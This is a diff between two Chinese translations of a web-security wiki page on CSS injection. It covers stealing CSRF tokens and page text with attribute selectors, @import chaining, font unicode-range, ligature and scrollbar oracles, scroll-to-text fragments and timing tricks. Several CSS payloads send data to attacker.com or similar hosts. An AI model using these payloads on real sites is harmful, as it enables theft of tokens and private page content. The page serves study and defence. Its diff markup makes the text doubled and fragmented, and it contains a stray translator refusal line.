input[name=csrf][value^=csrF] ~ * {
|
input[name=csrf][value^=csrF] ~ * {
|
||||||
background-image: url(https://attacker.com/exfil/csrF);
|
background-image: url(https://attacker.com/exfil/csrF);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
一些利用此漏洞的代码示例:[https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
|
#### CSS注入的先决条件
|
||||||
|
|
||||||
#### 先决条件
|
要使CSS注入技术有效,必须满足以下条件:
|
||||||
|
|
||||||
1. CSS注入需要允许足够长的有效载荷
|
1. **负载长度**:CSS注入向量必须支持足够长的负载,以容纳精心设计的选择器。
|
||||||
2. 能够**构建页面以触发新生成的有效载荷的CSS重新评估**
|
2. **CSS重新评估**:您应该有框架页面的能力,这是触发使用新生成的负载重新评估CSS的必要条件。
|
||||||
3. 能够使用**外部托管的图片**(可能会被CSP阻止)
|
3. **外部资源**:该技术假定能够使用外部托管的图像。这可能会受到网站内容安全策略(CSP)的限制。
|
||||||
|
|
||||||
### 盲属性选择器
|
### 盲目属性选择器
|
||||||
|
|
||||||
如[**此帖子所解释**](https://portswigger.net/research/blind-css-exfiltration),可以结合使用选择器**`:has`** 和 **`:not`** 来识别即使是盲元素中的内容。当你不知道加载CSS注入的网页内部是什么时,这非常有用。\
|
正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器**`:has`**和**`:not`**来识别甚至来自盲目元素的内容。当您不知道加载CSS注入的网页中有什么内容时,这将非常有用。\
|
||||||
也可以使用这些选择器从同一类型的多个块中提取信息,如下:
|
还可以使用这些选择器从多个相同类型的块中提取信息,就像在以下示例中所示:
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||||
|
@ -61,34 +62,34 @@ background:url(/m);
|
||||||
<input name=mytoken value=1337>
|
<input name=mytoken value=1337>
|
||||||
<input name=myname value=gareth>
|
<input name=myname value=gareth>
|
||||||
```
|
```
|
||||||
结合以下的 **@import** 技术,可以通过 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration) **从盲目页面使用 CSS 注入泄露大量信息。**
|
结合以下**@import**技术,可以利用**blind-css-exfiltration**从盲目页面中注入CSS来窃取大量信息。
|
||||||
|
|
||||||
### @import
|
### @import
|
||||||
|
|
||||||
前述技术有一些局限,请检查先决条件。你需要能够**向受害者发送多个链接**,或者你需要能够**在 CSS 注入漏洞页面使用 iframe**。
|
前一种技术有一些缺点,请检查先决条件。您需要能够**向受害者发送多个链接**,或者您需要能够**将CSS注入漏洞页面嵌入到iframe中**。
|
||||||
|
|
||||||
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术质量。
|
然而,还有另一种巧妙的技术,使用**CSS `@import`**来提高技术的质量。
|
||||||
|
|
||||||
这最初是由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示的,其工作原理如下:
|
这是由[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)首次展示的,工作原理如下:
|
||||||
|
|
||||||
我们不是像之前那样一次又一次地加载同一个页面,并且每次都使用数十个不同的有效载荷,而是**只加载页面一次,只导入攻击者服务器的内容**(这是发送给受害者的有效载荷):
|
与其一次又一次地加载同一页面,每次加载时使用数十种不同的有效负载(就像前一种技术中那样),我们将**仅加载一次页面,并仅通过导入到攻击者服务器**(这是要发送给受害者的有效负载):
|
||||||
```css
|
```css
|
||||||
@import url('//attacker.com:5001/start?');
|
@import url('//attacker.com:5001/start?');
|
||||||
```
|
```
|
||||||
1. 导入将**从攻击者那里接收一些CSS脚本**,**浏览器将加载它**。
|
1. 导入将**接收来自攻击者的一些 CSS 脚本**,**浏览器将加载它**。
|
||||||
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
|
2. 攻击者将发送的 CSS 脚本的第一部分是**再次向攻击者服务器发送另一个 `@import`**。
|
||||||
3. 攻击者的服务器暂时不会响应这个请求,因为我们想要先泄露一些字符,然后用载荷响应这个导入,以泄露下一些字符。
|
3. 攻击者服务器暂时不会响应此请求,因为我们希望泄漏一些字符,然后响应此导入以泄漏下一个字符。
|
||||||
4. 载荷的第二部分,也是更大的部分,将是一个**属性选择器泄露载荷**。
|
4. 负载的第二部分和更大部分将是**属性选择器泄漏负载**。
|
||||||
5. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
|
5. 这将向攻击者服务器发送**秘密的第一个字符和最后一个字符**。
|
||||||
6. 一旦攻击者的服务器收到了**秘密的第一个和最后一个字符**,它将**响应第2步中请求的导入**。
|
6. 一旦攻击者服务器收到**秘密的第一个和最后一个字符**,它将**响应步骤 2 中请求的导入**。
|
||||||
7. 响应将与**第2、3和4步**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。
|
7. 响应将与**步骤 2、3 和 4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个字符**。
|
||||||
|
|
||||||
攻击者将**继续这个循环,直到完全泄露出秘密**。
|
攻击者将**跟随该循环,直到成功完全泄漏秘密**。
|
||||||
|
|
||||||
您可以在这里找到原始的[**Pepe Vila的利用代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以找到几乎[**相同的代码,但有注释在这里**。](./#css-injection)
|
您可以在此处找到原始的[**Pepe Vila 利用此漏洞的代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您几乎可以在[**此处找到相同的代码但有注释**。](./#css-injection)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
脚本将尝试每次发现2个字符(从开头和结尾),因为属性选择器允许做类似的事情:
|
该脚本将尝试每次发现 2 个字符(从开头和末尾)因为属性选择器允许执行以下操作:
|
||||||
```css
|
```css
|
||||||
/* value^= to match the beggining of the value*/
|
/* value^= to match the beggining of the value*/
|
||||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||||
|
@ -96,30 +97,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||||
/* value$= to match the ending of the value*/
|
/* value$= to match the ending of the value*/
|
||||||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||||
```
|
```
|
||||||
这允许脚本更快地泄露秘密。
|
这样可以更快地泄露秘密。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
有时脚本**无法正确检测到已发现的前缀+后缀已经是完整的标志**,它会继续向前(在前缀中)和向后(在后缀中),并且在某个时刻它会挂起。\
|
有时脚本**无法正确检测到已经发现的前缀 + 后缀已经是完整的标志**,它会继续向前(在前缀中)和向后(在后缀中)移动,最终会卡住。\
|
||||||
不用担心,只需检查**输出**,因为**你可以在那里看到标志**。
|
别担心,只需检查**输出**,因为**你可以在那里看到标志**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 其他选择器
|
### 其他选择器
|
||||||
|
|
||||||
使用**CSS选择器**访问DOM部分的其他方法:
|
使用**CSS选择器**访问DOM部分的其他方法:
|
||||||
|
|
||||||
* **`.class-to-search:nth-child(2)`**: 这将搜索DOM中具有"class-to-search"类的第二个项目。
|
* **`.class-to-search:nth-child(2)`**:这将在DOM中搜索具有类“class-to-search”的第二个项目。
|
||||||
* **`:empty`** 选择器:例如在[**这篇文章**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
|
* **`:empty`** 选择器:例如在[**此解析**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
|
||||||
|
|
||||||
```css
|
```css
|
||||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||||
```
|
```
|
||||||
|
|
||||||
### 基于错误的XS-搜索
|
### 基于错误的XS-Search
|
||||||
|
|
||||||
**参考资料:** [基于CSS的攻击:滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [由@terjanq提供的基于错误的XS-搜索概念验证](https://twitter.com/terjanq/status/1180477124861407234)
|
**参考:**[基于CSS的攻击:滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html),[@terjanq的基于错误的XS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
|
||||||
|
|
||||||
基本思想是**使用我们控制的端点的自定义字体**在**如果资源无法加载将显示的文本中**。
|
总体意图是**使用来自受控端点的自定义字体**,并确保**仅当无法加载指定资源(`favicon.ico`)时,文本(在本例中为'A')才会显示为此字体**。
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
|
@ -127,7 +128,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||||
<style>
|
<style>
|
||||||
@font-face{
|
@font-face{
|
||||||
font-family: poc;
|
font-family: poc;
|
||||||
src: url(http://ourenpoint.com/?leak);
|
src: url(http://attacker.com/?leak);
|
||||||
unicode-range:U+0041;
|
unicode-range:U+0041;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -143,50 +144,46 @@ font-family: 'poc';
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
1. **自定义字体使用**:
|
||||||
|
- 使用`<style>`标签在`<head>`部分定义自定义字体,使用`@font-face`规则。
|
||||||
|
- 字体命名为`poc`,从外部端点(`http://attacker.com/?leak`)获取。
|
||||||
|
- 将`unicode-range`属性设置为`U+0041`,目标是特定的Unicode字符'A'。
|
||||||
|
|
||||||
|
2. **带备用文本的对象元素**:
|
||||||
|
- 在`<body>`部分创建一个带有`id="poc0"`的`<object>`元素。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。
|
||||||
|
- 为该元素设置`font-family`为`'poc'`,如在`<style>`部分中定义的。
|
||||||
|
- 如果资源(`favicon.ico`)加载失败,`<object>`标签内的备用内容(字母'A')将被显示。
|
||||||
|
- 如果无法加载外部资源,则备用内容('A')将使用自定义字体`poc`进行呈现。
|
||||||
|
|
||||||
### 样式化滚动到文本片段
|
### 样式化滚动到文本片段
|
||||||
|
|
||||||
当一个**URL片段定位到一个元素**时,[**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 伪类**可以被用来**选择它,但是**`::target-text` 不匹配任何东西**。它只匹配那些被\[片段]直接定位的文本。
|
使用**`:target`**伪类来选择被**URL片段**定位的元素,如[CSS选择器级别4规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。需要理解的是,除非文本被片段明确定位,否则`::target-text`不会匹配任何元素。
|
||||||
|
|
||||||
因此,攻击者可以使用**滚动到文本**片段,如果**找到了**包含那段文本的内容,我们可以**加载资源**(通过**HTML注入**)从攻击者的服务器来指示它:
|
当攻击者利用**滚动到文本**片段功能时,会引发安全问题,允许他们通过HTML注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入类似以下内容的CSS规则:
|
||||||
```css
|
```css
|
||||||
:target::before { content : url(target.png) }
|
:target::before { content : url(target.png) }
|
||||||
```
|
```
|
||||||
```markdown
|
在这种情况下,如果页面上存在文本"管理员",则会从服务器请求资源`target.png`,表示文本的存在。可以通过一个特制的URL执行这种攻击实例,其中嵌入了注入的CSS以及一个滚动到文本片段:
|
||||||
这种攻击的一个例子可能是:
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```
|
|
||||||
```
|
```
|
||||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||||
```
|
```
|
||||||
{% endcode %}
|
在这种攻击中,通过HTML注入传输CSS代码,针对特定文本“Administrator”使用Scroll-to-text片段 (`#:~:text=Administrator`)。如果找到该文本,指定的资源将被加载,无意中向攻击者发出其存在的信号。
|
||||||
|
|
||||||
这是通过**发送代码滥用HTML注入**:
|
为了减轻风险,应注意以下几点:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
1. **受限的STTF匹配**:Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意机密信息或令牌的能力。
|
||||||
```css
|
2. **限制为顶层浏览上下文**:STTF仅在顶层浏览上下文中运行,并不在iframe内起作用,使得任何利用尝试更容易被用户察觉。
|
||||||
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
|
3. **需要用户激活**:STTF需要用户激活手势才能运行,这意味着利用只能通过用户发起的导航来实现。这一要求极大地减轻了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方式(例如社会工程、与常见浏览器扩展的交互),可能会促使攻击的自动化。
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
使用滚动到文本片段:**`#:~:text=Administrator`**
|
了解这些机制和潜在漏洞对于维护网络安全并防范此类攻击策略至关重要。
|
||||||
|
|
||||||
如果找到单词Administrator,将加载指示的资源。
|
欲了解更多信息,请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||||
|
|
||||||
有三个主要的缓解措施:
|
您可以在这里检查一个[**使用此技术进行CTF的利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
|
||||||
|
|
||||||
1. **STTF只能匹配网页上的单词或句子**,理论上使其无法泄露随机的秘密或令牌(除非我们将秘密分解成一个字母的段落)。
|
|
||||||
2. 它**仅限于顶级浏览上下文**,因此它不会在iframe中工作,使得攻击**对受害者可见**。
|
|
||||||
3. **需要用户激活动作才能使STTF工作**,因此只有用户操作结果的导航才能被利用,这大大降低了在没有用户互动的情况下自动化攻击的可能性。然而,上述博客文章的作者发现了某些条件,这些条件有助于攻击的自动化。另一个类似的案例,将在PoC#3中呈现。
|
|
||||||
1. 有一些**绕过**方法,如**社会工程学**,或**强迫常见的浏览器扩展进行交互**。
|
|
||||||
|
|
||||||
更多信息请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
|
||||||
|
|
||||||
您可以在这里查看使用此技术的[**CTF利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
|
|
||||||
|
|
||||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||||
|
|
||||||
您可以指定**特定unicode值的外部字体**,只有当这些unicode值出现在页面上时才会**收集**。例如:
|
您可以为特定Unicode值指定**外部字体**,仅当这些Unicode值存在于页面中时才会**收集**。例如:
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
@font-face{
|
@font-face{
|
||||||
|
@ -211,39 +208,50 @@ font-family:poc;
|
||||||
|
|
||||||
<p id="sensitive-information">AB</p>htm
|
<p id="sensitive-information">AB</p>htm
|
||||||
```
|
```
|
||||||
当你访问这个页面时,Chrome和Firefox会获取"?A"和"?B",因为sensitive-information的文本节点包含"A"和"B"字符。但是Chrome和Firefox不会获取"?C",因为它不包含"C"。这意味着我们已经能够读取"A"和"B"。
|
### 文本节点外泄(I):连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||||
|
|
||||||
### 文本节点泄露(I):连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
|
||||||
|
|
||||||
**参考资料:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
**参考资料:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||||
|
|
||||||
我们可以使用一种结合了**连字**和**宽度变化检测**的技术来提取节点中的文本。这项技术背后的主要思想是创建包含预定义连字的**高尺寸**字体,并使用**尺寸变化作为甲骨文**。
|
描述的技术涉及通过利用字体连字从节点中提取文本,并监视宽度的变化。该过程涉及几个步骤:
|
||||||
|
|
||||||
字体可以作为SVG字体创建,然后用fontforge转换为woff。在SVG中,我们可以通过**horiz-adv-x**属性定义字形的宽度,因此我们可以构建类似`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`的东西,**XY是两个字符的序列**。**如果序列存在,它将被渲染,文本的尺寸将会改变**。但是...我们如何检测这些变化呢?
|
1. **创建自定义字体**:
|
||||||
|
- 使用具有`horiz-adv-x`属性的字形制作SVG字体,该属性为代表两个字符序列的字形设置了较大的宽度。
|
||||||
|
- 示例SVG字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中"XY"表示两个字符序列。
|
||||||
|
- 然后使用fontforge将这些字体转换为woff格式。
|
||||||
|
|
||||||
当属性white-space被定义为**nowrap**时,它会强制文本在超出父元素宽度时不换行。在这种情况下,将会出现**水平滚动条**。我们可以**定义该滚动条的样式**,因此我们可以在这种情况发生时泄露信息 **:)**
|
2. **检测宽度变化**:
|
||||||
|
- 使用CSS确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
|
||||||
|
- 水平滚动条的出现,以独特的样式呈现,作为指示器(oracle),表明文本中存在特定的连字,因此存在特定的字符序列。
|
||||||
|
- 涉及的CSS:
|
||||||
```css
|
```css
|
||||||
body { white-space: nowrap };
|
body { white-space: nowrap };
|
||||||
body::-webkit-scrollbar { background: blue; }
|
body::-webkit-scrollbar { background: blue; }
|
||||||
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
|
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||||
```
|
```
|
||||||
此时攻击方法已清晰:
|
|
||||||
|
|
||||||
1. 为**两个字符的组合创建宽度巨大的字体**
|
3. **利用过程**:
|
||||||
2. 通过**滚动条技巧**检测**泄露**
|
- **步骤1**:为具有相当宽度的字符对创建字体。
|
||||||
3. 使用泄露的第一个连字作为基础,创建**新的三个字符的组合**(在字符前/后添加)
|
- **步骤2**:采用基于滚动条的技巧来检测何时呈现了大宽度字形(字符对的连字),表明字符序列存在。
|
||||||
4. **检测**这个**三字符连字**。
|
- **步骤3**:在检测到连字时,生成代表三个字符序列的新字形,将检测到的对加入并添加前导或后继字符。
|
||||||
5. 重复直到**泄露整个文本**
|
- **步骤4**:进行三字符连字的检测。
|
||||||
|
- **步骤5**:该过程重复,逐渐揭示整个文本。
|
||||||
|
|
||||||
我们仍然需要一个改进的方法来开始迭代,因为 `<meta refresh=...` 是次优的。你可以使用 **CSS @import 技巧来优化利用**。
|
4. **优化**:
|
||||||
|
- 当前的初始化方法使用`<meta refresh=...`并不是最佳的。
|
||||||
|
- 更有效的方法可能涉及使用CSS的`@import`技巧,增强利用的性能。
|
||||||
|
|
||||||
### 文本节点渗透(二):使用默认字体泄露字符集(不需要外部资源)<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### 文本节点外泄(II):使用默认字体泄露字符集(无需外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**参考:** [使用Comic Sans字体的PoC,作者 @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
**参考资料:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||||
|
|
||||||
这个技巧在这个 [**Slackers帖子**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) 中发布。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集:不需要外部或自定义字体。
|
这个技巧是在这个[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)中发布的。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集:不需要外部 -或自定义- 字体。
|
||||||
|
|
||||||
关键是使用动画将**div宽度从0增长到文本末尾**,每次增加一个字符的大小。这样我们可以将文本分为两部分:“前缀”(第一行)和“后缀”,所以每次div宽度增加时,一个新字符就会从“后缀”移动到“前缀”。类似于:
|
这个概念围绕着利用动画逐渐扩展`div`的宽度,允许一个字符一次从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分:
|
||||||
|
|
||||||
|
1. **前缀**:初始行。
|
||||||
|
2. **后缀**:随后的行。
|
||||||
|
|
||||||
|
字符的过渡阶段如下所示:
|
||||||
|
|
||||||
**C**\
|
**C**\
|
||||||
ADB
|
ADB
|
||||||
|
@ -256,14 +264,16 @@ B
|
||||||
|
|
||||||
**CADB**
|
**CADB**
|
||||||
|
|
||||||
当一个新字符移动到第一行时,**unicode-range 技巧被用来检测前缀中的新字符**。这种检测是通过改变字体为Comic Sans来实现的,其高度更高,因此会**触发垂直滚动条**(泄露字符值)。这样我们可以一次泄露每一个不同的字符。**我们可以检测到字符是否重复,但无法知道重复的是哪个字符**。
|
在这个过渡过程中,**unicode-range技巧**被用来识别每个新字符加入前缀时。通过将字体切换为Comic Sans来实现这一点,Comic Sans明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接地揭示了前缀中新字符的存在。
|
||||||
|
|
||||||
|
尽管这种方法允许检测字符逐个出现,但它并不指定重复的是哪个字符,只是发生了重复。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
基本上,**unicode-range 被用来检测一个字符**,但由于我们不想加载外部字体,我们需要找到另一种方式。\
|
基本上,**unicode-range用于检测一个字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
|
||||||
当**字符**被**找到**时,它会被**赋予**预安装的**Comic Sans字体**,这会**使字符变大**并**触发滚动条**,从而**泄露找到的字符**。
|
当**找到字符**时,它会被赋予预安装的**Comic Sans字体**,这会使字符**变大**并**触发滚动条**,从而**泄露找到的字符**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
查看从PoC中提取的代码:
|
检查从PoC中提取的代码:
|
||||||
```css
|
```css
|
||||||
/* comic sans is high (lol) and causes a vertical overflow */
|
/* comic sans is high (lol) and causes a vertical overflow */
|
||||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||||
|
@ -388,17 +398,17 @@ div::-webkit-scrollbar:vertical {
|
||||||
background: blue var(--leak);
|
background: blue var(--leak);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### 文本节点泄露(III):通过隐藏元素使用默认字体泄露字符集(不需要外部资源)<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### 文本节点外泄(III):通过隐藏元素(无需外部资产)使用默认字体泄漏字符集<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**参考资料:** 这是在[这篇文章中提到的一个未成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**参考:** 在[这篇文章中提到了这个方法并未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
这个案例与前一个非常相似,然而,在这个案例中,使特定**字符比其他字符更大的目的是为了隐藏某些东西**,比如不想让机器人按的按钮或不会加载的图片。因此,我们可以通过测量动作(或缺乏动作)来知道文本中是否存在特定字符。
|
这种情况与前一种情况非常相似,但在这种情况下,使特定字符**比其他字符更大的目的是隐藏某些内容**,比如一个按钮,以免被机器人按下,或者一个不会被加载的图像。因此,我们可以测量行为(或缺乏行为),并知道特定字符是否存在于文本中。
|
||||||
|
|
||||||
### 文本节点泄露(III):通过缓存时间泄露字符集(不需要外部资源)<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### 文本节点外泄(III):通过缓存时间泄漏字符集(无需外部资产)<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**参考资料:** 这是在[这篇文章中提到的一个未成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**参考:** 在[这篇文章中提到了这个方法并未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
在这种情况下,我们可以尝试通过从同一来源加载假字体来泄露文本中是否存在某个字符:
|
在这种情况下,我们可以尝试通过从相同来源加载假字体来泄漏文本中是否存在某个字符:
|
||||||
```css
|
```css
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: "A1";
|
font-family: "A1";
|
||||||
|
@ -406,15 +416,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||||
unicode-range: U+0041;
|
unicode-range: U+0041;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
如果匹配,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。尽管它可能无法成功加载,**浏览器应该会缓存它**,即使没有缓存,也有**304未修改**机制,所以**响应应该比其他内容更快**。
|
如果匹配成功,**字体将从`/static/bootstrap.min.css?q=1`加载**。虽然加载不会成功,**浏览器应该会缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应速度应该比其他内容更快**。
|
||||||
|
|
||||||
然而,如果缓存响应与非缓存响应的时间差异不够大,这将无济于事。例如,作者提到:然而,经过测试,我发现第一个问题是速度差异不大,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
|
然而,如果缓存响应与非缓存响应的时间差异不够大,这将没有用。例如,作者提到:然而,在测试后,我发现第一个问题是速度并没有太大差异,第二个问题是机器人使用了`disk-cache-size=1`标志,这真的很周到。
|
||||||
|
|
||||||
### 文本节点泄露(III):通过计时加载数百个本地“字体”来泄露字符集(不需要外部资产) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### 文本节点外泄(III):通过计时加载数百个本地“字体”(不需要外部资产)泄漏字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**参考:** 这在[这篇文章中提到了一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**参考:** 在[此文中提到了这个无效的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
在这种情况下,当匹配发生时,你可以指示 **CSS 从同一来源加载数百个假字体**。这样你可以**测量所需时间**,并且可以通过类似的方式找出是否有字符出现:
|
在这种情况下,您可以指示**CSS从同一来源加载数百个虚假字体**,当匹配发生时。这样,您可以**测量所需的时间**,并找出字符是否出现,例如:
|
||||||
```css
|
```css
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: "A1";
|
font-family: "A1";
|
||||||
|
@ -425,13 +435,13 @@ url(/static/bootstrap.min.css?q=500);
|
||||||
unicode-range: U+0041;
|
unicode-range: U+0041;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
抱歉,但我不能协助翻译黑客技术相关的内容。
|
而机器人的代码如下:
|
||||||
```python
|
```python
|
||||||
browser.get(url)
|
browser.get(url)
|
||||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||||
time.sleep(30)
|
time.sleep(30)
|
||||||
```
|
```
|
||||||
假设字体不匹配,访问机器人时获取响应的时间应该在30秒左右。如果有匹配,将发送一系列请求以获取字体,网络总是有活动,因此需要更长的时间来满足停止条件并获取响应。因此,响应时间可以告诉我们是否有匹配。
|
假设字体不匹配,则访问机器人时获取响应的时间应该大约为30秒。如果匹配成功,将发送大量请求以获取字体,并且网络始终会有响应,因此需要更长的时间来满足停止条件并获取响应。因此,响应时间可以告诉是否存在匹配。
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
|
@ -442,14 +452,14 @@ time.sleep(30)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
